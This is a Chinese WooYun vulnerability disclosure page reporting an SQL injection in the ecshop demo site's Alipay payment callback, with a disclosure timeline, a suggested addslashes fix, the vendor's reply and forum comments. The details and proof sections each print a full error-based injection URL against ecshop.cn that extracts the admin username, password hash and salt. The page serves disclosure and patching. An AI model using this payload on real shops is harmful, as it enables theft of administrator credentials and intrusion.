当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-025316

漏洞标题:ecshop展示站SQL注入漏洞,可利用

相关厂商:ShopEx

漏洞作者: hooklt(小兰)

提交时间:2013-06-07 11:17

修复时间:2013-07-22 11:17

公开时间:2013-07-22 11:17

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-06-07: 细节已通知厂商并且等待厂商处理中
2013-06-07: 厂商已经确认,细节仅向厂商公开
2013-06-17: 细节向核心白帽子及相关领域专家公开
2013-06-27: 细节向普通白帽子公开
2013-07-07: 细节向实习白帽子公开
2013-07-22: 细节向公众公开

简要描述:

ecshop展示站注入漏洞

详细说明:

http://www.ecshop.cn/respond.php?code=alipay&subject=00&out_trade_no=%000'%20and%20(select%20*%20from(select%20count(*),concat(floor(rand(0)*2),(select%20concat(000x7c,user_name,000x7c,password,000x7c,ec_salt)%20from%20ecs_admin_user%20limit%201))a%20from%20information_schema.tables%20group%20by%20a)b)%20--%20by%20a


ecshop.jpg

漏洞证明:

http://www.ecshop.cn/respond.php?code=alipay&subject=00&out_trade_no=%000'%20and%20(select%20*%20from(select%20count(*),concat(floor(rand(0)*2),(select%20concat(000x7c,user_name,000x7c,password,000x7c,ec_salt)%20from%20ecs_admin_user%20limit%201))a%20from%20information_schema.tables%20group%20by%20a)b)%20--%20by%20a


ecshop.jpg

修复方案:

各种过滤升级成最新版!话说官方自己都出补丁了吧
2.修改/includes/modules/payment/alipay.php文件中
$order_sn = str_replace($_GET['subject'], '',$_GET['out_trade_no']);
$order_sn = trim($order_sn);
修改成如下代码
$order_sn = str_replace($_GET['subject'], '',$_GET['out_trade_no']);
$order_sn = trim(addslashes($order_sn));

版权声明:转载请注明来源 hooklt(小兰)@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:4

确认时间:2013-06-07 12:21

厂商回复:

非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢

最新状态:

暂无


漏洞评价:

评论

  1. 2013-06-07 11:52 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    卧槽,官方还可利用?啥漏洞?

  2. 2013-06-07 12:08 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者,关注web安全。)

    @疯狗 还没来得及打补丁呗。。。

  3. 2013-06-18 23:32 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    膜拜小兰大牛!

  4. 2013-06-19 12:06 | hooklt(小兰) ( 路人 | Rank:20 漏洞数:4 | 在山的那边海的那边有一群安全男,他们苦逼...)

    @乐乐、 乐乐儿子好久不见啊

  5. 2013-06-19 13:42 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    @hooklt(小兰) 小兰孙儿好久不见~

  6. 2013-06-23 23:45 | hooklt(小兰) ( 路人 | Rank:20 漏洞数:4 | 在山的那边海的那边有一群安全男,他们苦逼...)

    @乐乐、 乐乐曾孙子好久不见

  7. 2013-06-23 23:59 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    @hooklt(小兰) -.- 尼玛,有意思吗。

  8. 2013-07-05 17:55 | hfy ( 路人 | Rank:5 漏洞数:3 | 打了个狗~)

    靠,丢了我两个币,这个洞都不知道多久了~

  9. 2013-07-30 22:12 | Soul ( 路人 | Rank:12 漏洞数:9 | 1+1=?)

    楼主提交的ecshop,厂商回复:非常感谢您为shopex信息安全做的贡献。这我跟小伙伴们都凌乱了!